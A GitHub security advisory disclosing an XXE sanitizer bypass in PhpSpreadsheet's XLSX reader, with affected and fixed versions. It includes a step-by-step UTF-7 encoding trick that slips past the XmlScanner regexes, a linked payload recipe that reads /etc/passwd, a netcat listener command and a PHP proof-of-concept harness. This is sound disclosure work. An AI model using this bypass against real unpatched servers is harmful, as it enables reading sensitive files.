GHSA-7cc9-j4mv-vcjp
XXE in PHPSpreadsheet's XLSX reader
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | phpoffice/phpspreadsheet | < 1.29.4 | 1.29.4 |
| Packagist | phpoffice/phpspreadsheet | >= 2.0.0, < 2.1.3 | 2.1.3 |
| Packagist | phpoffice/phpspreadsheet | >= 2.2.0, < 2.3.2 | 2.3.2 |
| Packagist | phpoffice/phpspreadsheet | >= 3.3.0, < 3.4.0 | 3.4.0 |
| Packagist | phpoffice/phpexcel | <= 1.8.2 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks.
However, we found another bypass than the previously reported `CVE-2024-47873`, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value `encoding="UTF-8"` with `"`, which is matched by the first regex, so that `encoding='UTF-7'` with single quotes `'` in the XML header is not matched by the second regex:
```
$patterns = [
'/encoding\\s*=\\s*"([^"]*]?)"/',
"/encoding\\s*=\\s*'([^']*?)'/",
];
```
A payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-7%20(65000)')&input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K).
If you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet.
To create the payload you need:
1. Create a file containing `<?xml version = "1.0" encoding='UTF-7'` in an XML file
2. Use the link attached above to create your XXE payload and add it to the XML file.
3. Add `+ADw-+ACE---encoding="UTF-8"--+AD4-` to the end of the XML file, which is matched by the first regex.
### PoC
[payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx)
- Create a new folder.
- Run the `composer require phpoffice/phpspreadsheet` command in the new folder.
- Create an `index.php` file in that folder with the following content:
```PHP
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
$spreadsheet = new Spreadsheet();
$inputFileType = 'Xlsx';
$inputFileName = './payload.xlsx';
/** Create a new Reader of the type defined in $inputFileType **/
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);
/** Advise the Reader that we only want to load cell data **/
$reader->setReadDataOnly(true);
$worksheetData = $reader->listWorksheetInfo($inputFileName);
foreach ($worksheetData as $worksheet) {
$sheetName = $worksheet['worksheetName'];
echo "<h4>$sheetName</h4>";
/** Load $inputFileName to a Spreadsheet Object **/
$reader->setLoadSheetsOnly($sheetName);
$spreadsheet = $reader->load($inputFileName);
$worksheet = $spreadsheet->getActiveSheet();
print_r($worksheet->toArray());
}
```
- Run the following command: `php -S 127.0.0.1:8080`
- Add the [payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx) file in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on netcat <http://127.0.0.1:12345/ext.dtd>.
### Impact
An attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).
References
External links from the advisory. They lead to third-party sites.
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7cc9-j4mv-vcjp
- https://nvd.nist.gov/vuln/detail/CVE-2024-48917
- https://github.com/PHPOffice/PhpSpreadsheet
- https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php
- https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing